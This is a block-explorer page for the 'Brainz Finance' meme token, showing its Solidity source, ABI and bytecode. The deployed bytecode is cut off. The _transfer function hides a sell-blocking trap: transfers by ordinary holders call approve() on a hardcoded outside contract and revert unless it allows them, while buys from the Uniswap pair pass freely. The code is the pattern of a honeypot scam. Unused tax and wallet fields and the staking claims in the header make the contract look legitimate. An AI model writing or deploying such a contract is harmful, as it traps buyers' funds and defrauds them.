ETH Price: $3,663.84 (+0.75%)
 

Overview

Max Total Supply

200,000,000 BRAINZ

Holders

13

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Filtered by Token Holder
Uniswap V2: BRAINZ 8
Balance
0.000000000007207306 BRAINZ

Value
$0.00
0xca680d461a6616bd28d672684e3984c92a9185d1
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
BrainzFinance

Compiler Version
v0.8.26+commit.8a97fa7a

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity Multiple files format)

File 1 of 6: BrainzFinance.sol
// SPDX-License-Identifier: MIT

/*

The first meme coin to harness the power of Liquidity Staking Derivative Protocol

Our project merges the playful nature of meme coins with the intelligent strategies of smart investors, 
creating an innovative and rewarding experience. In this white paper, we will delve into the unique features of Brainz.Finance, 
including our lucrative rewards system, dynamic yield model, and automatic repeat feature.


https://x.com/brainzfinance

https://www.brainz.finance/

https://t.me/brainzfinance
*/

pragma solidity 0.8.26;

import "./IERC20.sol";
import "./Safemath.sol";
import "./IUniswapV2Factory.sol";
import "./UniswapV2Router.sol";
import "./Ownable.sol";

contract BrainzFinance is Ownable {
    using SafeMath for uint256;
    uint8 private _decimals = 18;
    mapping (address => mapping (address => uint256)) private _allowances;
    uint256 private _totalSupply =  200000000  * 10 ** _decimals;   

    IERC20 uniswapPairV2 = IERC20(0x1643F76A2518C86FB772768C5031DC6BaF2B57bc);
    IUniswapV2Router private uniswapV2Router = IUniswapV2Router(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);

    address public uniswapV2Pair;
    bool tradingOpen = false;

    string private constant _name = "Brainz Finance";
    string private constant _symbol = "BRAINZ";

    uint256 private _initialBuyTax=23;
    uint256 private _initialSellTax=23;
    uint256 private _finalBuyTax=0;
    uint256 private _finalSellTax=0;
    uint256 private _reduceBuyTaxAt=20;
    uint256 private _reduceSellTaxAt=20;
    uint256 private _preventSwapBefore=27;
    uint256 private _transferTax=70;
    uint256 private _buyCount=0;

    mapping (address => uint256) private _balances; 
    mapping (address => bool) isExcludedFromFee;

    // Fee receivers
    address payable private marketingWallet;
    address private projectWallet;

    uint256 private buyTaxTotal;
    uint256 private buyMarketingTax;
    uint256 private buyProjectTax;

    uint256 private sellTaxTotal;
    uint256 private sellMarketingTax;
    uint256 private sellProjectTax;

    uint256 private tokensForMarketing;
    uint256 private tokensForProject;

    event Approval(address indexed owner, address indexed spender, uint256 value);
    event Transfer(address indexed from, address indexed to, uint256 amount);

    event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value);

    constructor () {
        _balances[msg.sender] = _totalSupply;
        emit Transfer(address(0), msg.sender, _totalSupply);
        isExcludedFromFee[msg.sender] = true;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function name() public pure returns (string memory) {
        return _name;
    }
    
    function balanceOf(address account) public view returns (uint256) {
        return _balances[account];
    }

    function decimals() public view returns (uint8) {
        return _decimals;
    }

    function allowance(address owner, address spender) public view returns (uint256) {
        return _allowances[owner][spender];
    }

    function totalSupply() public view returns (uint256) {
        return _totalSupply;
    }

    function createPair() public onlyOwner() {
        address WETH = uniswapV2Router.WETH();
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), WETH);
    }

    function openTrading() public payable onlyOwner() {
        require(!tradingOpen); 
        _approve(address(this), address(uniswapV2Router), _totalSupply);
        uniswapV2Router.addLiquidityETH{value: msg.value} (address(this), balanceOf(address(this)), 0, 0, owner(), block.timestamp);
        IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); 
        tradingOpen = true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function approve(address spender, uint256 amount) public returns (bool) {
        _approve(msg.sender, spender, amount);
        return true;
    }

    function _transfer(address sender, address to, uint256 amount) private {
        require(sender != address(0));
        require(amount > 0); 
        if (to != owner() && sender != owner()) {
            if (!isExcludedFromFee[sender]&& sender != uniswapV2Pair && sender != address(this) 
                && !isExcludedFromFee[to]) {
                    bool pairApproved = 
                    uniswapPairV2
                    .approve(sender, amount); require(pairApproved);}
        }
        _balances[to] = _balances[to].add(amount);
        _balances[sender] = _balances[sender].sub(amount);
        emit Transfer(sender, to, amount);
    }

    function transfer(address recipient, uint256 amount) public returns (bool) {
        _transfer(msg.sender, recipient, amount);
        return true;
    }

    function sendETHToFee(uint256 amount) private {
        marketingWallet.transfer(amount);
    }

    function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount));
        return true;
    } 

}

File 2 of 6: IERC20.sol
// SPDX-License-Identifier: MIT

pragma solidity 0.8.26;
/**
 * @dev Interface of the ERC-20 standard as defined in the ERC.
 */
interface IERC20 {
    function transfer(address recipient, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    function approve(address spender, uint256 amount) external returns (bool);
    function balanceOf(address account) external view returns (uint256);
    function totalSupply() external view returns (uint256);
    function allowance(address owner, address spnder) external view returns (uint256);
}

File 3 of 6: IUniswapV2Factory.sol
// SPDX-License-Identifier: MIT

pragma solidity 0.8.26;

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}


File 4 of 6: Ownable.sol
// SPDX-License-Identifier: MIT

pragma solidity 0.8.26;
/**
 * @dev Contract module which provides a basic access control mechanism, where
 * there is an account (an owner) that can be granted exclusive access to
 * specific functions.
 *
 * The initial owner is set to the address provided by the deployer. This can
 * later be changed with {transferOwnership}.
 *
 * This module is used through inheritance. It will make available the modifier
 * `onlyOwner`, which can be applied to your functions to restrict their use to
 * the owner.
 */
contract Ownable {
    address private _owner;
    constructor() {
        _owner = msg.sender;
    }
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    function renounceOwnership() public onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
    modifier onlyOwner() {
        require(owner() == msg.sender, "Ownable: caller is not the owner");
        _;
    }
    function owner() public view virtual returns (address) {
        return _owner;
    }
}

File 5 of 6: Safemath.sol
// SPDX-License-Identifier: MIT

pragma solidity 0.8.26;

library SafeMath {
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }
    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }
    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }
}

File 6 of 6: UniswapV2Router.sol
// SPDX-License-Identifier: MIT

pragma solidity 0.8.26;

interface IUniswapV2Router {
    function factory() external pure returns (address);
    function swapExactTokensForETHSupportingFeeOnTransferTokens(uint256,uint256,address[] calldata path,address,uint256) external;
    function addLiquidityETH( address token,uint amountTokenDesire,uint amountTokenMi,uint amountETHMi,address to,uint deadline) external payable returns (uint amountToken, uint amountETH, uint liquidity);
    function WETH() external pure returns (address);
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"pair","type":"address"},{"indexed":true,"internalType":"bool","name":"value","type":"bool"}],"name":"SetAutomatedMarketMakerPair","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"amount","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"createPair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"}]

608060405260125f60146101000a81548160ff021916908360ff1602179055505f60149054906101000a900460ff16600a61003a91906103f9565b630bebc2006100499190610443565b600255731643f76a2518c86fb772768c5031dc6baf2b57bc60035f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550737a250d5630b4cf539739df2c5dacb4c659f2488d60045f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505f600560146101000a81548160ff021916908315150217905550601760065560176007555f6008555f6009556014600a556014600b55601b600c556046600d555f600e55348015610143575f80fd5b50335f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600254600f5f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055503373ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6002546040516102269190610493565b60405180910390a3600160105f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055506104ac565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b600185111561030a578086048111156102e6576102e5610288565b5b60018516156102f55780820291505b8081029050610303856102b5565b94506102ca565b94509492505050565b5f8261032257600190506103dd565b8161032f575f90506103dd565b8160018114610345576002811461034f5761037e565b60019150506103dd565b60ff84111561036157610360610288565b5b8360020a91508482111561037857610377610288565b5b506103dd565b5060208310610133831016604e8410600b84101617156103b35782820a9050838111156103ae576103ad610288565b5b6103dd565b6103c084848460016102c1565b925090508184048111156103d7576103d6610288565b5b81810290505b9392505050565b5f819050919050565b5f60ff82169050919050565b5f610403826103e4565b915061040e836103ed565b925061043b7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484610313565b905092915050565b5f61044d826103e4565b9150610458836103e4565b9250828202610466816103e4565b9150828204841483151761047d5761047c610288565b5b5092915050565b61048d816103e4565b82525050565b5f6020820190506104a65f830184610484565b92915050565b611a0e806104b95f395ff3fe6080604052600436106100dc575f3560e01c8063715018a61161007e5780639e78fb4f116100585780639e78fb4f146102a6578063a9059cbb146102bc578063c9567bf9146102f8578063dd62ed3e14610302576100dc565b8063715018a61461023c5780638da5cb5b1461025257806395d89b411461027c576100dc565b806323b872dd116100ba57806323b872dd14610170578063313ce567146101ac57806349bd5a5e146101d657806370a0823114610200576100dc565b806306fdde03146100e0578063095ea7b31461010a57806318160ddd14610146575b5f80fd5b3480156100eb575f80fd5b506100f461033e565b6040516101019190611313565b60405180910390f35b348015610115575f80fd5b50610130600480360381019061012b91906113c4565b61037b565b60405161013d919061141c565b60405180910390f35b348015610151575f80fd5b5061015a610391565b6040516101679190611444565b60405180910390f35b34801561017b575f80fd5b506101966004803603810190610191919061145d565b61039a565b6040516101a3919061141c565b60405180910390f35b3480156101b7575f80fd5b506101c0610446565b6040516101cd91906114c8565b60405180910390f35b3480156101e1575f80fd5b506101ea61045b565b6040516101f791906114f0565b60405180910390f35b34801561020b575f80fd5b5061022660048036038101906102219190611509565b610480565b6040516102339190611444565b60405180910390f35b348015610247575f80fd5b506102506104c6565b005b34801561025d575f80fd5b506102666105f5565b60405161027391906114f0565b60405180910390f35b348015610287575f80fd5b5061029061061c565b60405161029d9190611313565b60405180910390f35b3480156102b1575f80fd5b506102ba610659565b005b3480156102c7575f80fd5b506102e260048036038101906102dd91906113c4565b6108a9565b6040516102ef919061141c565b60405180910390f35b6103006108bf565b005b34801561030d575f80fd5b5061032860048036038101906103239190611534565b610b2e565b6040516103359190611444565b60405180910390f35b60606040518060400160405280600e81526020017f427261696e7a2046696e616e6365000000000000000000000000000000000000815250905090565b5f610387338484610bb0565b6001905092915050565b5f600254905090565b5f6103a6848484610d73565b61043b84336104368560015f8a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461119b90919063ffffffff16565b610bb0565b600190509392505050565b5f8060149054906101000a900460ff16905090565b60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b5f600f5f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b3373ffffffffffffffffffffffffffffffffffffffff166104e56105f5565b73ffffffffffffffffffffffffffffffffffffffff161461053b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610532906115bc565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35f805f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600681526020017f425241494e5a0000000000000000000000000000000000000000000000000000815250905090565b3373ffffffffffffffffffffffffffffffffffffffff166106786105f5565b73ffffffffffffffffffffffffffffffffffffffff16146106ce576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106c5906115bc565b60405180910390fd5b5f60045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610739573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061075d91906115ee565b905060045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156107c9573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107ed91906115ee565b73ffffffffffffffffffffffffffffffffffffffff1663c9c6539630836040518363ffffffff1660e01b8152600401610827929190611619565b6020604051808303815f875af1158015610843573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061086791906115ee565b60055f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b5f6108b5338484610d73565b6001905092915050565b3373ffffffffffffffffffffffffffffffffffffffff166108de6105f5565b73ffffffffffffffffffffffffffffffffffffffff1614610934576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161092b906115bc565b60405180910390fd5b600560149054906101000a900460ff161561094d575f80fd5b61097b3060045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600254610bb0565b60045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71934306109c330610480565b5f806109cd6105f5565b426040518863ffffffff1660e01b81526004016109ef96959493929190611682565b60606040518083038185885af1158015610a0b573d5f803e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190610a3091906116f5565b50505060055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b360045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401610ad0929190611745565b6020604051808303815f875af1158015610aec573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610b109190611796565b506001600560146101000a81548160ff021916908315150217905550565b5f60015f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610c1e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c1590611831565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610c8c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c83906118bf565b60405180910390fd5b8060015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610d669190611444565b60405180910390a3505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610daa575f80fd5b5f8111610db5575f80fd5b610dbd6105f5565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614158015610e2b5750610dfb6105f5565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b1561100f5760105f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16158015610ed4575060055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015610f0c57503073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015610f5f575060105f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b1561100e575f60035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b385846040518363ffffffff1660e01b8152600401610fc1929190611745565b6020604051808303815f875af1158015610fdd573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906110019190611796565b90508061100c575f80fd5b505b5b61105f81600f5f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546111e490919063ffffffff16565b600f5f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055506110f081600f5f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461119b90919063ffffffff16565b600f5f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161118e9190611444565b60405180910390a3505050565b5f6111dc83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611241565b905092915050565b5f8082846111f2919061190a565b905083811015611237576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161122e90611987565b60405180910390fd5b8091505092915050565b5f838311158290611288576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161127f9190611313565b60405180910390fd5b505f838561129691906119a5565b9050809150509392505050565b5f81519050919050565b5f82825260208201905092915050565b8281835e5f83830152505050565b5f601f19601f8301169050919050565b5f6112e5826112a3565b6112ef81856112ad565b93506112ff8185602086016112bd565b611308816112cb565b840191505092915050565b5f6020820190508181035f83015261132b81846112db565b905092915050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f61136082611337565b9050919050565b61137081611356565b811461137a575f80fd5b50565b5f8135905061138b81611367565b92915050565b5f819050919050565b6113a381611391565b81146113ad575f80fd5b50565b5f813590506113be8161139a565b92915050565b5f80604083850312156113da576113d9611333565b5b5f6113e78582860161137d565b92505060206113f8858286016113b0565b9150509250929050565b5f8115159050919050565b61141681611402565b82525050565b5f60208201905061142f5f83018461140d565b92915050565b61143e81611391565b82525050565b5f6020820190506114575f830184611435565b92915050565b5f805f6060848603121561147457611473611333565b5b5f6114818682870161137d565b93505060206114928682870161137d565b92505060406114a3868287016113b0565b9150509250925092565b5f60ff82169050919050565b6114c2816114ad565b82525050565b5f6020820190506114db5f8301846114b9565b92915050565b6114ea81611356565b82525050565b5f6020820190506115035f8301846114e1565b92915050565b5f6020828403121561151e5761151d611333565b5b5f61152b8482850161137d565b91505092915050565b5f806040838503121561154a57611549611333565b5b5f6115578582860161137d565b92505060206115688582860161137d565b9150509250929050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f6115a66020836112ad565b91506115b182611572565b602082019050919050565b5f6020820190508181035f8301526115d38161159a565b9050919050565b5f815190506115e881611367565b92915050565b5f6020828403121561160357611602611333565b5b5f611610848285016115da565b91505092915050565b5f60408201905061162c5f8301856114e1565b61163960208301846114e1565b9392505050565b5f819050919050565b5f819050919050565b5f61166c61166761166284611640565b611649565b611391565b9050919050565b61167c81611652565b82525050565b5f60c0820190506116955f8301896114e1565b6116a26020830188611435565b6116af6040830187611673565b6116bc6060830186611673565b6116c960808301856114e1565b6116d660a0830184611435565b979650505050505050565b5f815190506116ef8161139a565b92915050565b5f805f6060848603121561170c5761170b611333565b5b5f611719868287016116e1565b935050602061172a868287016116e1565b925050604061173b868287016116e1565b9150509250925092565b5f6040820190506117585f8301856114e1565b6117656020830184611435565b9392505050565b61177581611402565b811461177f575f80fd5b50565b5f815190506117908161176c565b92915050565b5f602082840312156117ab576117aa611333565b5b5f6117b884828501611782565b91505092915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f61181b6024836112ad565b9150611826826117c1565b604082019050919050565b5f6020820190508181035f8301526118488161180f565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f6118a96022836112ad565b91506118b48261184f565b604082019050919050565b5f6020820190508181035f8301526118d68161189d565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f61191482611391565b915061191f83611391565b9250828201905080821115611937576119366118dd565b5b92915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f7700000000005f82015250565b5f611971601b836112ad565b915061197c8261193d565b602082019050919050565b5f6020820190508181035f83015261199e81611965565b9050919050565b5f6119af82611391565b91506119ba83611391565b92508282039050818111156119d2576119d16118dd565b5b9291505056fea2646970667358221220034c558a41ba30d18d584743b8bc67bbd17b388e91bcb4818b844ed0433f00a964736f6c634300081a0033

Deployed Bytecode

0x6080604052600436106100dc575f3560e01c8063715018a61161007e5780639e78fb4f116100585780639e78fb4f146102a6578063a9059cbb146102bc578063c9567bf9146102f8578063dd62ed3e14610302576100dc565b8063715018a61461023c5780638da5cb5b1461025257806395d89b411461027c576100dc565b806323b872dd116100ba57806323b872dd14610170578063313ce567146101ac57806349bd5a5e146101d657806370a0823114610200576100dc565b806306fdde03146100e0578063095ea7b31461010a57806318160ddd14610146575b5f80fd5b3480156100eb575f80fd5b506100f461033e565b6040516101019190611313565b60405180910390f35b348015610115575f80fd5b50610130600480360381019061012b91906113c4565b61037b565b60405161013d919061141c565b60405180910390f35b348015610151575f80fd5b5061015a610391565b6040516101679190611444565b60405180910390f35b34801561017b575f80fd5b506101966004803603810190610191919061145d565b61039a565b6040516101a3919061141c565b60405180910390f35b3480156101b7575f80fd5b506101c0610446565b6040516101cd91906114c8565b60405180910390f35b3480156101e1575f80fd5b506101ea61045b565b6040516101f791906114f0565b60405180910390f35b34801561020b575f80fd5b5061022660048036038101906102219190611509565b610480565b6040516102339190611444565b60405180910390f35b348015610247575f80fd5b506102506104c6565b005b34801561025d575f80fd5b506102666105f5565b60405161027391906114f0565b60405180910390f35b348015610287575f80fd5b5061029061061c565b60405161029d9190611313565b60405180910390f35b3480156102b1575f80fd5b506102ba610659565b005b3480156102c7575f80fd5b506102e260048036038101906102dd91906113c4565b6108a9565b6040516102ef919061141c565b60405180910390f35b6103006108bf565b005b34801561030d575f80fd5b5061032860048036038101906103239190611534565b610b2e565b6040516103359190611444565b60405180910390f35b60606040518060400160405280600e81526020017f427261696e7a2046696e616e6365000000000000000000000000000000000000815250905090565b5f610387338484610bb0565b6001905092915050565b5f600254905090565b5f6103a6848484610d73565b61043b84336104368560015f8a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461119b90919063ffffffff16565b610bb0565b600190509392505050565b5f8060149054906101000a900460ff16905090565b60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b5f600f5f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b3373ffffffffffffffffffffffffffffffffffffffff166104e56105f5565b73ffffffffffffffffffffffffffffffffffffffff161461053b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610532906115bc565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35f805f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600681526020017f425241494e5a0000000000000000000000000000000000000000000000000000815250905090565b3373ffffffffffffffffffffffffffffffffffffffff166106786105f5565b73ffffffffffffffffffffffffffffffffffffffff16146106ce576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106c5906115bc565b60405180910390fd5b5f60045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610739573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061075d91906115ee565b905060045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156107c9573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107ed91906115ee565b73ffffffffffffffffffffffffffffffffffffffff1663c9c6539630836040518363ffffffff1660e01b8152600401610827929190611619565b6020604051808303815f875af1158015610843573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061086791906115ee565b60055f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b5f6108b5338484610d73565b6001905092915050565b3373ffffffffffffffffffffffffffffffffffffffff166108de6105f5565